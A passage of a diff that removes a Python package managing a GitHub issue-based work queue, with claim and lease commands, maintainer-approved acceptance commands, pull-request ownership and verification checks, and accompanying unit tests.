s = sub.add_parser("claim-status"); s.add_argument("--data", required=True); s.add_argument("--login", required=True); s.add_argument("--skip", type=int, default=0)
s = sub.add_parser("list"); s.add_argument("--state", required=True); s.add_argument("--area", default=""); s.add_argument("--json", action="store_true")
s = sub.add_parser("next"); s.add_argument("--state", required=True); s.add_argument("--area", required=True); s.add_argument("--login", required=True)
s = sub.add_parser("check-body"); s.add_argument("--file", required=True)
s = sub.add_parser("event"); s.add_argument("--path", required=True)
s = sub.add_parser("config-get"); s.add_argument("key")
a = p.parse_args(argv)
cfg = cfgmod.load(a.config)
if a.cmd == "event":
# normalise a GitHub webhook payload file (issue_comment or pull_request_target)
ev = _load(a.path)
item = ev.get("issue") or ev.get("pull_request") or {}
who = (ev.get("comment") or {}).get("user") or item.get("user") or {}
_out({"kind": "pr" if ("pull_request" in ev or "pull_request" in item) else "issue",
"number": item.get("number"), "actor": who.get("login", ""),
"body": (ev.get("comment") or {}).get("body", "")})
elif a.cmd == "config-get":
v = cfg[a.key]
print(v if isinstance(v, (str, int, float)) else json.dumps(v))
elif a.cmd == "gather":
st = ghio.gather(a.repo, with_prs=not a.no_prs)
if a.pr:
st["pr"] = ghio.pr_data(a.repo, a.pr)
st["pr_comments"] = ghio.comments(a.repo, a.pr)
_out(st)
elif a.cmd == "decide":
_out(decide(_load(a.event), _load(a.state), cfg))
elif a.cmd == "apply":
ghio.apply_actions(a.repo, _load(a.actions))
elif a.cmd == "audit":
_out(queue.audit(_load(a.state), cfg, _now(a.now)))
elif a.cmd == "summary":
res = queue.summary(_load(a.state), a.now)
if a.text:
for r in res["tasks"]:
print("#%d\t%s\t%s\t%s\t%s\t%s" % (r["number"], r["state"], r["area"], r["priority"], r["holder"] or "-", r["title"]))
else:
_out(res)
elif a.cmd == "pr-check":
res = prcheck.check_pr(_load(a.state), cfg, _now(a.now))
_out(res)
return 0 if res["ok"] else 1
elif a.cmd == "task":
_out(T.parse_task(_load(a.issue)))
elif a.cmd == "acceptance":
task = T.parse_task(_load(a.issue))
want = L.approved_hash(_load(a.comments))
if not T.normalise_acceptance(task["acceptance"]) or want != T.acceptance_hash(task["acceptance"]):
sys.stderr.write("not authorized: no maintainer approval matches the current acceptance command\n")
return 3
print(T.normalise_acceptance(task["acceptance"]))
elif a.cmd == "fetch-issue":
_out({"issues": [ghio.issue(a.repo, a.issue)], "comments": ghio.comments(a.repo, a.issue)})
elif a.cmd == "claim-status":
data = _load(a.data)
task = T.parse_task(data["issues"][0])
comments = data["comments"]
if task["holder"] == a.login and "agent:claimed" in task["labels"] and L.latest_grant(comments, task["number"], a.login):
print("granted")
return 0
for c in reversed(comments[a.skip:]):
if c["user"] in L.BOT and c["body"].startswith("Claim refused for %s:" % a.login):
print(c["body"].split("\n", 1)[0])
return 1
print("pending")
return 2
elif a.cmd == "list":
tasks = decide_mod.task_index(_load(a.state))
rows = [t for t in tasks.values() if t["state"] == "OPEN" and "agent:ready" in t["labels"]
and (not a.area or t["area"] == a.area)]
rows.sort(key=lambda t: (cfgmod.PRIORITIES.index(t["priority"]), t["number"]))
if a.json:
_out([{k: t[k] for k in ("number", "title", "area", "priority", "depends", "files")} for t in rows])
else:
for t in rows:
print("#%d\t%s\t%s\t%s" % (t["number"], t["area"], t["priority"], t["title"]))
elif a.cmd == "next":
tasks = decide_mod.task_index(_load(a.state))
rows = sorted((t for t in tasks.values() if t["state"] == "OPEN" and t["area"] == a.area),
key=lambda t: (cfgmod.PRIORITIES.index(t["priority"]), t["number"]))
for t in rows:
if not decide_mod.claim_problem(t, tasks, cfg, a.login):
print(t["number"])
return 0
sys.stderr.write("no claimable task in area %s\n" % a.area)
return 1
elif a.cmd == "check-body":
with open(a.file, encoding="utf-8") as fh:
t = T.parse_task({"number": 0, "body": fh.read()})
if not t["area"] or not t["files"] or not T.normalise_acceptance(t["acceptance"]):
sys.stderr.write("body needs a valid Area, Files and Acceptance command section\n")
return 1
print("area:" + t["area"])
print("priority:" + t["priority"])
elif a.cmd == "touch":
# stdin lines "<sha>\t<path>"; report those touching patterns of tasks held by login
state, hits = _load(a.state), []
held = [T.parse_task(i) for i in state["issues"]]
held = [t for t in held if t["holder"] == a.login and t["state"] == "OPEN"]
for line in sys.stdin.read().splitlines():
sha, _, path = line.partition("\t")
for t in held:
if any(path_matches(path, pat) for pat in t["files"]):
hits.append({"commit": sha, "path": path, "task": t["number"]})
_out(hits)
return 0
-34
View File
@@ -1,34 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import json
AREAS = ("cpu", "gpu", "runtime", "shared", "qa")
PRIORITIES = ("critical", "high", "medium", "low")
DEFAULT = {"lease_hours": 24, "maintainers": [], "contributors": {}, "upstream": ""}
def parse(text):
data = json.loads(text)
cfg = dict(DEFAULT)
cfg.update({k: data[k] for k in DEFAULT if k in data})
if not isinstance(cfg["lease_hours"], (int, float)) or cfg["lease_hours"] <= 0:
raise ValueError("lease_hours must be a positive number")
return cfg
def load(path):
with open(path, encoding="utf-8") as fh:
return parse(fh.read())
def is_maintainer(cfg, login):
return login in cfg["maintainers"]
def may_work_on(cfg, login, area):
if is_maintainer(cfg, login):
return True
return area in cfg["contributors"].get(login, [])
def is_verifier(cfg, login):
return is_maintainer(cfg, login) or "qa" in cfg["contributors"].get(login, [])
-153
View File
@@ -1,153 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Comment command decisions. Returns actions as data; the caller applies them."""
from . import config as cfgmod
from . import lease as L
from . import tasks as T
COMMANDS = ("/claim", "/release", "/reassign", "/progress", "/blocked", "/unblock",
"/approve-acceptance", "/verified")
def parse_command(body):
first = (body or "").strip().split("\n", 1)[0].strip()
parts = first.split(None, 1)
if not parts or parts[0] not in COMMANDS:
return None, ""
return parts[0], (parts[1].strip() if len(parts) > 1 else "")
def _act(issue, add=(), remove=(), comment=""):
return {"issue": issue, "add_labels": list(add), "remove_labels": list(remove), "comment": comment}
def _reply(issue, text):
return [_act(issue, comment=text)]
def task_index(state):
return {int(i["number"]): T.parse_task(i) for i in state.get("issues", [])}
def claim_problem(task, tasks, cfg, actor):
if "agent:ready" not in task["labels"]:
who = " (held by %s)" % task["holder"] if task["holder"] else ""
return "not claimable: the issue is not labelled agent:ready%s." % who
if not task["area"]:
return "not claimable: the Area field is missing or not one of %s." % ", ".join(cfgmod.AREAS)
if not cfgmod.may_work_on(cfg, actor, task["area"]):
return "%s is not allowed to claim area:%s tasks (see .github/agent-queue.json)." % (actor, task["area"])
if not task["files"]:
return "not claimable: the Files field lists no paths."
d = T.dep_problems(task, tasks)
if d["missing"]:
return "dependency issue(s) not found: %s." % ", ".join("#%d" % n for n in d["missing"])
if d["cycle"]:
return "dependency cycle: %s." % " -> ".join("#%d" % n for n in d["cycle"])
if d["open"]:
return "open dependencies: %s." % ", ".join("#%d" % n for n in d["open"])
from .patterns import sets_overlap
for other in sorted(tasks.values(), key=lambda t: t["number"]):
if other["number"] == task["number"] or other["state"] != "OPEN":
continue
if "agent:claimed" not in other["labels"]:
continue
hit = sets_overlap(task["files"], other["files"])
if hit:
return "file overlap with claimed task #%d (`%s` vs `%s`)." % (other["number"], hit[0], hit[1])
return ""
def decide(event, state, cfg):
cmd, arg = parse_command(event.get("body"))
if cmd is None:
return []
actor, n = event["actor"], int(event["number"])
if cmd == "/verified":
return _verified(event, state, cfg, arg)
if event.get("kind") == "pr":
return []
tasks = task_index(state)
task = tasks.get(n)
if task is None or task["state"] != "OPEN":
return []
holder = task["holder"]
maint = cfgmod.is_maintainer(cfg, actor)
if cmd == "/claim":
problem = claim_problem(task, tasks, cfg, actor)
if problem:
return _reply(n, "Claim refused for %s: %s" % (actor, problem))
text = "Claimed by %s. The claim lapses %s hours after the latest grant, /progress comment or push to the linked pull request.\n%s" % (
actor, cfg["lease_hours"], L.grant_marker(n, actor))
return [_act(n, ["agent:claimed", "claimed-by:" + actor], ["agent:ready"], text)]
if cmd == "/release":
if "agent:claimed" not in task["labels"]:
return _reply(n, "Nothing to release: the task is not claimed.")
if actor != holder and not maint:
return _reply(n, "Only the holder (%s) or a maintainer can release this claim." % holder)
return [_act(n, ["agent:ready"], ["agent:claimed", "agent:blocked", "claimed-by:" + holder],
"Released by %s; the task is back in the queue." % actor)]
if cmd == "/reassign":
if not maint:
return _reply(n, "Only a maintainer can reassign tasks.")
target = arg.split()[0].lstrip("@") if arg else ""
if not target:
return _reply(n, "Usage: /reassign <login>")
if not cfgmod.may_work_on(cfg, target, task["area"]):
return _reply(n, "Reassign refused: %s is not allowed to work on area:%s." % (target, task["area"]))
if not (set(task["labels"]) & {"agent:claimed", "agent:ready"}):
return _reply(n, "Reassign refused: the task is neither ready nor claimed.")
remove = ["agent:ready"] + (["claimed-by:" + holder] if holder else [])
return [_act(n, ["agent:claimed", "claimed-by:" + target], remove,
"Reassigned to %s by %s. New lease starts now.\n%s" % (target, actor, L.grant_marker(n, target)))]
if cmd == "/progress":
if "agent:claimed" not in task["labels"] or actor != holder:
return _reply(n, "Only the holder of a claimed task can post progress.")
if len(arg) < 3:
return _reply(n, "Progress needs a short description of what changed, for example `/progress parser done, tests next`. Lease not renewed.")
return _reply(n, "Lease renewed: %s more hours from now." % cfg["lease_hours"])
if cmd == "/blocked":
if actor != holder and not maint:
return _reply(n, "Only the holder or a maintainer can mark a task blocked.")
if not arg:
return _reply(n, "Usage: /blocked <reason>")
return [_act(n, ["agent:blocked"], [], "Blocked by %s: %s" % (actor, arg))]
if cmd == "/unblock":
if actor != holder and not maint:
return _reply(n, "Only the holder or a maintainer can unblock a task.")
return [_act(n, [], ["agent:blocked"], "Unblocked by %s." % actor)]
if cmd == "/approve-acceptance":
if not maint:
return _reply(n, "Only a maintainer can approve an acceptance command.")
if not T.normalise_acceptance(task["acceptance"]):
return _reply(n, "No acceptance command to approve.")
digest = T.acceptance_hash(task["acceptance"])
return _reply(n, "Acceptance command approved by %s for the current text (sha256 %s). Editing the issue body invalidates this approval; nothing runs it automatically.\n%s" % (
actor, digest[:12], L.acceptance_marker(digest)))
return []
def _verified(event, state, cfg, arg):
n, actor = int(event["number"]), event["actor"]
if event.get("kind") != "pr":
return []
pr = state.get("pr") or {}
sha = arg.split()[0] if arg else ""
head = pr.get("head_sha", "")
if actor == pr.get("author"):
return _reply(n, "Verification refused: the pull request author cannot verify it.")
tasks = task_index(state)
for issue in L.linked_issues(pr.get("body")):
if issue in tasks and tasks[issue]["holder"] == actor:
return _reply(n, "Verification refused: %s holds the linked task #%d." % (actor, issue))
if not cfgmod.is_verifier(cfg, actor):
return _reply(n, "%s may not verify: only maintainers and qa contributors can." % actor)
if len(sha) < 7 or not head.startswith(sha):
return _reply(n, "Verification refused: `%s` is not the current head %s." % (sha or "(none)", head[:12]))
return _reply(n, "Verification of %s recorded for %s." % (head[:12], actor))
-79
View File
@@ -1,79 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Thin gh wrapper. Arguments are always passed as lists, never through a shell."""
import json
import subprocess
def gh(*args):
r = subprocess.run(["gh"] + list(args), capture_output=True, text=True)
if r.returncode != 0:
raise RuntimeError("gh %s failed: %s" % (" ".join(args[:2]), r.stderr.strip()[:300]))
return r.stdout
def ndjson(out):
return [json.loads(l) for l in out.splitlines() if l.strip()]
def issue(repo, n):
try:
return json.loads(gh("issue", "view", str(n), "-R", repo, "--json", "number,title,body,state,labels"))
except RuntimeError:
return {"number": n, "title": "", "body": "", "state": "MISSING", "labels": []}
def comments(repo, n):
jq = '.[] | {user: .user.login, body: .body, created_at: .created_at}'
return ndjson(gh("api", "repos/%s/issues/%d/comments" % (repo, n), "--paginate", "--jq", jq))
def open_issues(repo):
return json.loads(gh("issue", "list", "-R", repo, "--state", "open", "--limit", "500",
"--json", "number,title,body,state,labels"))
def pr_data(repo, n):
p = json.loads(gh("pr", "view", str(n), "-R", repo, "--json", "number,author,body,headRefOid,state"))
sha = p["headRefOid"]
when = gh("api", "repos/%s/commits/%s" % (repo, sha), "--jq", ".commit.committer.date").strip()
files = gh("api", "repos/%s/pulls/%d/files" % (repo, n), "--paginate", "--jq", ".[].filename").split()
return {"number": p["number"], "author": p["author"]["login"], "body": p["body"] or "",
"head_sha": sha, "head_pushed_at": when, "files": files, "state": p["state"]}
def open_prs(repo):
nums = [p["number"] for p in json.loads(gh("pr", "list", "-R", repo, "--state", "open", "--limit", "100", "--json", "number"))]
return [pr_data(repo, n) for n in nums]
def gather(repo, with_prs=True, with_comments=True):
"""State for decide/audit/summary: open tasks plus any dependency issues they name."""
from .tasks import parse_task
issues = {i["number"]: i for i in open_issues(repo)}
for i in list(issues.values()):
for d in parse_task(i)["depends"]:
if d not in issues:
issues[d] = issue(repo, d)
state = {"issues": list(issues.values())}
if with_comments:
state["task_comments"] = {str(n): comments(repo, n) for n, i in issues.items()
if any((l["name"] if isinstance(l, dict) else l) == "agent:claimed" for l in i["labels"])}
if with_prs:
state["prs"] = open_prs(repo)
return state
def apply_actions(repo, actions):
for a in actions:
n = str(a["issue"])
for label in a["add_labels"]:
gh("label", "create", label, "-R", repo, "--force", "--color", "BFD4F2")
args = ["issue", "edit", n, "-R", repo]
for l in a["add_labels"]:
args += ["--add-label", l]
for l in a["remove_labels"]:
args += ["--remove-label", l]
if len(args) > 4:
gh(*args)
if a["comment"]:
gh("issue", "comment", n, "-R", repo, "--body", a["comment"])
-73
View File
@@ -1,73 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Claim leases. Only the holder's own activity renews one; markers count only from the bot."""
import re
from datetime import timedelta
from .tasks import parse_time
BOT = ["github-actions[bot]"]
GRANT = re.compile(r"<!-- agent-queue:grant issue=(\d+) login=([A-Za-z0-9-]+) -->")
ACCEPT = re.compile(r"<!-- agent-queue:acceptance sha256=([0-9a-f]{64}) -->")
def grant_marker(issue, login):
return "<!-- agent-queue:grant issue=%d login=%s -->" % (issue, login)
def acceptance_marker(digest):
return "<!-- agent-queue:acceptance sha256=%s -->" % digest
def latest_grant(comments, issue, login, bots=BOT):
best = None
for c in comments:
if c["user"] not in bots:
continue
m = GRANT.search(c["body"])
if m and int(m.group(1)) == issue and m.group(2) == login:
t = parse_time(c["created_at"])
best = t if best is None or t > best else best
return best
def lease_start(task, comments, prs, bots=BOT):
"""Latest of grant, holder /progress comment, holder's linked PR push."""
holder, n = task["holder"], task["number"]
times = []
g = latest_grant(comments, n, holder, bots)
if g:
times.append(g)
for c in comments:
if c["user"] == holder and c["body"].lstrip().startswith("/progress"):
times.append(parse_time(c["created_at"]))
for pr in prs:
if pr["author"] == holder and n in linked_issues(pr["body"]) and pr.get("head_pushed_at"):
times.append(parse_time(pr["head_pushed_at"]))
return max(times) if times else None
def lease_end(task, comments, prs, cfg, bots=BOT):
start = lease_start(task, comments, prs, bots)
return None if start is None else start + timedelta(hours=cfg["lease_hours"])
def lapsed(task, comments, prs, cfg, now, bots=BOT):
end = lease_end(task, comments, prs, cfg, bots)
return end is not None and now > end
def linked_issues(body):
return [int(n) for n in re.findall(r"(?i)\b(?:closes|fixes|resolves)\s+#(\d+)", body or "")]
def approved_hash(comments, bots=BOT):
best, best_t = None, None
for c in comments:
if c["user"] not in bots:
continue
m = ACCEPT.search(c["body"])
if m:
t = parse_time(c["created_at"])
if best_t is None or t >= best_t:
best, best_t = m.group(1), t
return best
-78
View File
@@ -1,78 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""File ownership patterns: exact paths, directory prefixes ("dir/") and globs ("*", "**")."""
import re
def _norm(p):
p = p.strip().replace("\\", "/")
while p.startswith("./"):
p = p[2:]
return p.lstrip("/")
def _is_glob(p):
return any(c in p for c in "*?[")
def _regex(pattern):
out, i = [], 0
while i < len(pattern):
if pattern.startswith("**/", i):
out.append("(?:.*/)?")
i += 3
elif pattern.startswith("**", i):
out.append(".*")
i += 2
elif pattern[i] == "*":
out.append("[^/]*")
i += 1
elif pattern[i] == "?":
out.append("[^/]")
i += 1
else:
out.append(re.escape(pattern[i]))
i += 1
return re.compile("^" + "".join(out) + "$")
def path_matches(path, pattern):
path, pattern = _norm(path), _norm(pattern)
if not pattern:
return False
if pattern.endswith("/"):
return path.startswith(pattern)
if _is_glob(pattern):
return bool(_regex(pattern).match(path))
return path == pattern
def _prefix(pattern):
"""Literal leading part of a pattern (the whole directory for a "dir/" pattern)."""
for i, c in enumerate(pattern):
if c in "*?[":
return pattern[:i]
return pattern
def patterns_overlap(a, b):
"""True when some path could match both patterns. Errs towards True."""
a, b = _norm(a), _norm(b)
if not a or not b:
return False
a_exact = not _is_glob(a) and not a.endswith("/")
b_exact = not _is_glob(b) and not b.endswith("/")
if a_exact:
return path_matches(a, b)
if b_exact:
return path_matches(b, a)
pa, pb = _prefix(a), _prefix(b)
return pa.startswith(pb) or pb.startswith(pa)
def sets_overlap(files_a, files_b):
"""First overlapping pair (a, b) between two pattern lists, or None."""
for a in files_a:
for b in files_b:
if patterns_overlap(a, b):
return (a, b)
return None
-52
View File
@@ -1,52 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Pull request checks computed from data only. PR code is never fetched or run."""
from . import config as cfgmod
from . import lease as L
from .patterns import path_matches, patterns_overlap
from .decide import task_index
def verified_by(pr, comments, tasks, cfg):
"""Eligible verifier logins whose /verified comment names the current head SHA."""
head, out = pr.get("head_sha", ""), []
holders = {tasks[i]["holder"] for i in L.linked_issues(pr.get("body")) if i in tasks}
for c in comments:
parts = c["body"].strip().split("\n", 1)[0].split()
if len(parts) < 2 or parts[0] != "/verified" or len(parts[1]) < 7:
continue
who = c["user"]
if (head.startswith(parts[1]) and who != pr.get("author") and who not in holders
and cfgmod.is_verifier(cfg, who) and who not in out):
out.append(who)
return out
def check_pr(state, cfg, now):
pr, comments = state["pr"], state.get("pr_comments", [])
tasks = task_index(state)
problems = []
links = [i for i in L.linked_issues(pr.get("body")) if i in tasks]
if not links:
problems.append("no linked task: the pull request body must contain `Closes #N` for a claimed task")
for n in links:
t = tasks[n]
if "agent:claimed" not in t["labels"]:
problems.append("task #%d is not claimed" % n)
continue
if t["holder"] != pr["author"]:
problems.append("task #%d is held by %s, not the pull request author" % (n, t["holder"] or "nobody"))
outside = [f for f in pr.get("files", []) if not any(path_matches(f, p) for p in t["files"])]
if outside:
problems.append("files outside task #%d ownership: %s" % (n, ", ".join(outside[:10])))
if L.lapsed(t, state.get("task_comments", {}).get(str(n), []), [pr], cfg, now):
problems.append("task #%d claim has lapsed and the head has not been pushed within %s hours" % (n, cfg["lease_hours"]))
for other in state.get("prs", []):
if other["number"] == pr["number"]:
continue
shared = sorted(set(pr.get("files", [])) & set(other.get("files", [])))
if shared:
problems.append("overlaps open PR #%d on: %s" % (other["number"], ", ".join(shared[:10])))
ok_by = verified_by(pr, comments, tasks, cfg)
if not ok_by:
problems.append("independent verification missing: an eligible verifier must comment `/verified %s`" % pr.get("head_sha", "")[:12])
return {"pr": pr["number"], "ok": not problems, "problems": problems, "verified_by": ok_by}
-68
View File
@@ -1,68 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Queue-wide views: machine-readable summary and the scheduled audit."""
from . import config as cfgmod
from . import lease as L
from . import tasks as T
from .decide import task_index
from .patterns import sets_overlap
def summary(state, now_iso=""):
tasks = task_index(state)
by_area, rows = {}, []
for n in sorted(tasks):
t = tasks[n]
if t["state"] != "OPEN" or not any(l.startswith("agent:") for l in t["labels"]):
continue
st = T.task_state(t)
area = t["area"] or "unset"
by_area.setdefault(area, {}).setdefault(t["priority"], {}).setdefault(st, []).append(n)
rows.append({"number": n, "title": t["title"], "area": area, "priority": t["priority"],
"state": st, "holder": t["holder"], "depends": t["depends"], "files": t["files"]})
counts = {}
for r in rows:
counts[r["state"]] = counts.get(r["state"], 0) + 1
prs = [{"number": p["number"], "author": p["author"], "head_sha": p.get("head_sha", ""),
"links": L.linked_issues(p.get("body")), "files": len(p.get("files", []))}
for p in state.get("prs", [])]
return {"generated_at": now_iso, "totals": counts, "by_area": by_area, "tasks": rows, "pull_requests": prs}
def audit(state, cfg, now):
"""Actions that lapse stale claims and mark invalid or conflicting tasks."""
tasks = task_index(state)
actions = []
cycle_nodes = {n for cyc in T.find_cycles(tasks) for n in cyc}
claimed = [t for t in tasks.values() if t["state"] == "OPEN" and "agent:claimed" in t["labels"]]
for t in sorted(claimed, key=lambda x: x["number"]):
comments = state.get("task_comments", {}).get(str(t["number"]), [])
if "agent:blocked" in t["labels"]:
continue
if L.lapsed(t, comments, state.get("prs", []), cfg, now):
actions.append({"issue": t["number"], "add_labels": ["agent:ready"],
"remove_labels": ["agent:claimed", "claimed-by:" + t["holder"]],
"comment": "Claim lapsed after %s hours without progress; the task is back in the queue." % cfg["lease_hours"]})
lapsed_nums = {a["issue"] for a in actions}
for i, a in enumerate(claimed):
for b in claimed[i + 1:]:
hit = sets_overlap(a["files"], b["files"])
if hit:
for x, y in ((a, b), (b, a)):
if "agent:conflict" not in x["labels"] and x["number"] not in lapsed_nums:
actions.append({"issue": x["number"], "add_labels": ["agent:conflict"], "remove_labels": [],
"comment": "File overlap with claimed task #%d (`%s` vs `%s`). A maintainer must resolve it." % (y["number"], hit[0], hit[1])})
for t in sorted(tasks.values(), key=lambda x: x["number"]):
if t["state"] != "OPEN" or "agent:ready" not in t["labels"]:
continue
d = T.dep_problems(t, tasks)
if d["missing"] or d["cycle"] or t["number"] in cycle_nodes:
why = ("missing dependencies %s" % d["missing"]) if d["missing"] else "dependency cycle %s" % d["cycle"]
actions.append({"issue": t["number"], "add_labels": ["agent:invalid"], "remove_labels": ["agent:ready"],
"comment": "Marked invalid: %s. Fix the Depends on field to return it to the queue." % why})
for t in sorted(tasks.values(), key=lambda x: x["number"]):
if t["state"] == "OPEN" and "agent:invalid" in t["labels"] and "agent:claimed" not in t["labels"]:
d = T.dep_problems(t, tasks)
if not d["missing"] and not d["cycle"]:
actions.append({"issue": t["number"], "add_labels": ["agent:ready"], "remove_labels": ["agent:invalid"],
"comment": "Dependencies are valid again; the task is back in the queue."})
return actions
-141
View File
@@ -1,141 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Parse issue-form bodies into tasks and validate dependencies. Text is data only."""
import hashlib
import re
from datetime import datetime, timezone
from . import config as cfgmod
SECTION = re.compile(r"^###\s+(.+?)\s*$", re.M)
def sections(body):
body = (body or "").replace("\r\n", "\n")
marks = list(SECTION.finditer(body))
out = {}
for i, m in enumerate(marks):
end = marks[i + 1].start() if i + 1 < len(marks) else len(body)
text = body[m.end():end].strip()
out[m.group(1).strip().lower()] = "" if text == "_No response_" else text
return out
def _lines(text):
res = []
for line in text.splitlines():
line = line.strip()
if line.startswith(("- ", "* ")):
line = line[2:].strip()
line = line.strip("`").strip()
if line:
res.append(line)
return res
def normalise_acceptance(text):
lines = [l.strip() for l in (text or "").replace("\r\n", "\n").split("\n")]
while lines and lines[0].startswith("```"):
lines.pop(0)
while lines and lines[-1].startswith("```"):
lines.pop()
lines = [" ".join(l.split()) for l in lines if l]
return "\n".join(lines)
def acceptance_hash(text):
return hashlib.sha256(normalise_acceptance(text).encode("utf-8")).hexdigest()
def label_names(issue):
out = []
for l in issue.get("labels") or []:
out.append(l["name"] if isinstance(l, dict) else str(l))
return out
def holder_of(labels):
for l in labels:
if l.startswith("claimed-by:"):
return l[len("claimed-by:"):]
return ""
def label_value(labels, prefix):
for l in labels:
if l.startswith(prefix):
return l[len(prefix):]
return ""
def parse_task(issue):
"""Build a plain dict task from a gh issue dict {number,title,body,state,labels}."""
sec = sections(issue.get("body"))
labels = label_names(issue)
area = sec.get("area", "").strip().lower() or label_value(labels, "area:")
prio = sec.get("priority", "").strip().lower() or label_value(labels, "priority:")
return {
"number": int(issue["number"]),
"title": issue.get("title", ""),
"state": str(issue.get("state", "OPEN")).upper(),
"labels": labels,
"area": area if area in cfgmod.AREAS else "",
"priority": prio if prio in cfgmod.PRIORITIES else "medium",
"files": _lines(sec.get("files", "")),
"depends": sorted({int(n) for n in re.findall(r"#(\d+)", sec.get("depends on", ""))}),
"acceptance": sec.get("acceptance command", ""),
"interface": sec.get("interface", ""),
"holder": holder_of(labels),
}
def task_state(t):
if t["state"] != "OPEN":
return "closed"
for name in ("invalid", "conflict", "blocked", "claimed", "ready"):
if "agent:" + name in t["labels"]:
return name
return "untracked"
def parse_time(s):
return datetime.strptime(s, "%Y-%m-%dT%H:%M:%SZ").replace(tzinfo=timezone.utc)
def find_cycles(tasks):
"""Cycles among open tasks. tasks: {number: task}. Returns list of number lists."""
openset = {n for n, t in tasks.items() if t["state"] == "OPEN"}
color, stack, cycles = {}, [], []
def visit(n):
color[n] = 1
stack.append(n)
for d in tasks[n]["depends"]:
if d not in openset:
continue
if color.get(d) == 1:
cycles.append(stack[stack.index(d):] + [d])
elif d not in color:
visit(d)
stack.pop()
color[n] = 2
for n in sorted(openset):
if n not in color:
visit(n)
return cycles
def dep_problems(task, tasks):
"""Dependency problems for one task: missing, open and cyclic dependencies."""
res = {"missing": [], "open": [], "cycle": []}
for d in task["depends"]:
dep = tasks.get(d)
if dep is None or dep["state"] == "MISSING":
res["missing"].append(d)
elif dep["state"] == "OPEN":
res["open"].append(d)
for cyc in find_cycles(tasks):
if task["number"] in cyc:
res["cycle"] = cyc
break
return res
-42
View File
@@ -1,42 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import json
import os
import sys
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..", "scripts"))
from agent_queue import config as cfgmod # noqa: E402
from agent_queue.tasks import parse_time # noqa: E402
ROOT = os.path.join(os.path.dirname(__file__), "..", "..")
CFG = cfgmod.parse(json.dumps({
"lease_hours": 24, "upstream": "o/r", "maintainers": ["maint"],
"contributors": {"maint": ["cpu", "shared", "qa"], "gpuer": ["gpu", "shared"],
"rt": ["runtime"], "qaer": ["qa"]},
}))
NOW = parse_time("2026-01-10T12:00:00Z")
def body(area="gpu", files="src/gpu/a.rs", deps="", acceptance="cargo test -p gpu", prio="high", interface=""):
return ("### Area\n\n%s\n\n### Priority\n\n%s\n\n### Goal\n\ng\n\n### Files\n\n%s\n\n### Acceptance command\n\n%s\n\n"
"### Depends on\n\n%s\n\n### Interface\n\n%s\n\n### Context\n\n_No response_\n") % (
area, prio, files, acceptance, deps or "_No response_", interface or "_No response_")
def issue(n, labels=("agent:ready",), state="OPEN", title=None, **kw):
return {"number": n, "title": title or "task %d" % n, "state": state,
"labels": [{"name": l} for l in labels], "body": body(**kw)}
def comment(user, text, at="2026-01-10T10:00:00Z"):
return {"user": user, "body": text, "created_at": at}
def state(*issues, **extra):
s = {"issues": list(issues), "prs": [], "task_comments": {}}
s.update(extra)
return s
def event(actor, text, n=1, kind="issue"):
return {"kind": kind, "number": n, "actor": actor, "body": text}
-124
View File
@@ -1,124 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import unittest
from helpers import CFG, comment, event, issue, state
from agent_queue.decide import decide
from agent_queue.lease import GRANT
def one(actions):
assert len(actions) == 1, actions
return actions[0]
class Claim(unittest.TestCase):
def claim(self, st, actor="gpuer", n=1):
return one(decide(event(actor, "/claim", n), st, CFG))
def test_granted(self):
a = self.claim(state(issue(1)))
self.assertIn("claimed-by:gpuer", a["add_labels"])
self.assertIn("agent:ready", a["remove_labels"])
m = GRANT.search(a["comment"])
self.assertEqual((m.group(1), m.group(2)), ("1", "gpuer"))
def test_not_ready(self):
a = self.claim(state(issue(1, labels=("agent:claimed", "claimed-by:rt"), area="runtime")))
self.assertIn("not claimable", a["comment"])
self.assertEqual(a["add_labels"], [])
def test_wrong_area(self):
a = self.claim(state(issue(1, area="cpu")))
self.assertIn("not allowed", a["comment"])
self.assertEqual(a["add_labels"], [])
def test_maintainer_any_area(self):
a = self.claim(state(issue(1, area="gpu")), actor="maint")
self.assertIn("claimed-by:maint", a["add_labels"])
def test_open_dependency(self):
a = self.claim(state(issue(1, deps="#2"), issue(2, labels=())))
self.assertIn("open dependencies: #2", a["comment"])
def test_closed_dependency_ok(self):
a = self.claim(state(issue(1, deps="#2"), issue(2, labels=(), state="CLOSED")))
self.assertIn("agent:claimed", a["add_labels"])
def test_missing_dependency(self):
a = self.claim(state(issue(1, deps="#9")))
self.assertIn("not found: #9", a["comment"])
def test_cycle(self):
a = self.claim(state(issue(1, deps="#2"), issue(2, deps="#1", files="other/")))
self.assertIn("cycle", a["comment"])
def test_overlap_named(self):
held = issue(2, labels=("agent:claimed", "claimed-by:rt"), area="runtime", files="src/gpu/")
a = self.claim(state(issue(1, files="src/gpu/a.rs"), held))
self.assertIn("overlap with claimed task #2", a["comment"])
self.assertEqual(a["add_labels"], [])
def test_unclaimed_overlap_allowed(self):
a = self.claim(state(issue(1, files="src/gpu/a.rs"), issue(2, files="src/gpu/")))
self.assertIn("agent:claimed", a["add_labels"])
def test_non_command_ignored(self):
self.assertEqual(decide(event("gpuer", "thanks /claim later"), state(issue(1)), CFG), [])
class Lifecycle(unittest.TestCase):
held = ("agent:claimed", "claimed-by:gpuer")
def run_cmd(self, actor, text, labels=held, **kw):
return decide(event(actor, text), state(issue(1, labels=labels, **kw)), CFG)
def test_release_holder_and_maintainer(self):
for who in ("gpuer", "maint"):
a = one(self.run_cmd(who, "/release"))
self.assertIn("agent:ready", a["add_labels"])
self.assertIn("claimed-by:gpuer", a["remove_labels"])
def test_release_other_refused(self):
a = one(self.run_cmd("rt", "/release"))
self.assertEqual(a["add_labels"], [])
self.assertIn("Only the holder", a["comment"])
def test_reassign(self):
a = one(self.run_cmd("maint", "/reassign rt", area="runtime"))
self.assertIn("claimed-by:rt", a["add_labels"])
self.assertIn("claimed-by:gpuer", a["remove_labels"])
self.assertIn("login=rt", a["comment"])
def test_reassign_refusals(self):
